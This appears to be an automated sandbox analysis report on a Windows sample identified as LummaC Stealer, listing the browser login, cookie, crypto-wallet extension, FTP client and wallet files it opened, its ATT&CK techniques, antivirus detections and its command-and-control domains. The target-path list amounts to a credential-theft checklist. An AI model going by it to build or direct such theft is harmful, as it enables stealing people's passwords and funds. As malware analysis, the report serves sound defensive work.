Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Directory queried: C:\Users\user\Documents\BPMLNOBVSB	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior

Source: Yara match	File source: 00000000.00000003.1602681941.0000000000FBE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Wvo9FU4qo9.exe PID: 6596, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: Wvo9FU4qo9.exe PID: 6596, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	44 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Process Injection	LSASS Memory	861 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	44 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	4 Obfuscated Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Wvo9FU4qo9.exe	100%	Avira	TR/Crypt.XPACK.Gen
Wvo9FU4qo9.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://mindhandru.buzz:443/apiion.txtPK	100%	Avira URL Cloud	malware
https://mindhandru.buzz/l	100%	Avira URL Cloud	malware
https://mindhandru.buzz/api0	100%	Avira URL Cloud	malware
https://mindhandru.buzz/gL0	100%	Avira URL Cloud	malware
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696495411400900000.2&ci=1696495411208.	0%	Avira URL Cloud	safe
https://mindhandru.buzz/ZQ	100%	Avira URL Cloud	malware
https://mindhandru.buzz/pi=	100%	Avira URL Cloud	malware
https://mindhandru.buzz:443/apixxd8pi.default-release/key4.dbPK	100%	Avira URL Cloud	malware
https://mindhandru.buzz/apiryBI	100%	Avira URL Cloud	malware
https://mindhandru.buzz/%	100%	Avira URL Cloud	malware
https://mindhandru.buzz/3e	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
mindhandru.buzz	104.21.11.101	true	false		high

Contacted URLs

Name	Malicious	Reputation
scentniej.buzz	false	high
rebuildeso.buzz	false	high
appliacnesot.buzz	false	high
screwamusresz.buzz	false	high
cashfuzysao.buzz	false	high
inherineau.buzz	false	high
prisonyfork.buzz	false	high
hummskitnj.buzz	false	high
mindhandru.buzz	false	high
https://mindhandru.buzz/api	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	Wvo9FU4qo9.exe, 00000000.00000003.1525110185.00000000057FA000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1525222713.00000000057FA000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1525039980.00000000057FD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	Wvo9FU4qo9.exe, 00000000.00000003.1525110185.00000000057FA000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1525222713.00000000057FA000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1525039980.00000000057FD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Wvo9FU4qo9.exe, 00000000.00000003.1525110185.00000000057FA000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1525222713.00000000057FA000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1525039980.00000000057FD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/pi=	Wvo9FU4qo9.exe, 00000000.00000002.1671523161.0000000000F5E000.00000004.00000020.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1670178773.0000000000F5D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mindhandru.buzz:443/apiion.txtPK	Wvo9FU4qo9.exe, 00000000.00000002.1671306790.0000000000F43000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mindhandru.buzz/	Wvo9FU4qo9.exe, 00000000.00000002.1671523161.0000000000F5E000.00000004.00000020.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1670178773.0000000000F5D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Wvo9FU4qo9.exe, 00000000.00000003.1525110185.00000000057FA000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1525222713.00000000057FA000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1525039980.00000000057FD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	Wvo9FU4qo9.exe, 00000000.00000003.1570420563.0000000005872000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mindhandru.buzz/api0	Wvo9FU4qo9.exe, 00000000.00000002.1671523161.0000000000F67000.00000004.00000020.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1670178773.0000000000F67000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mindhandru.buzz/l	Wvo9FU4qo9.exe, 00000000.00000002.1671523161.0000000000F5E000.00000004.00000020.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1670178773.0000000000F5D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Wvo9FU4qo9.exe, 00000000.00000003.1525110185.00000000057FA000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1525222713.00000000057FA000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1525039980.00000000057FD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	Wvo9FU4qo9.exe, 00000000.00000003.1570420563.0000000005872000.00000004.00000800.00020000.00000000.sdmp	false		high
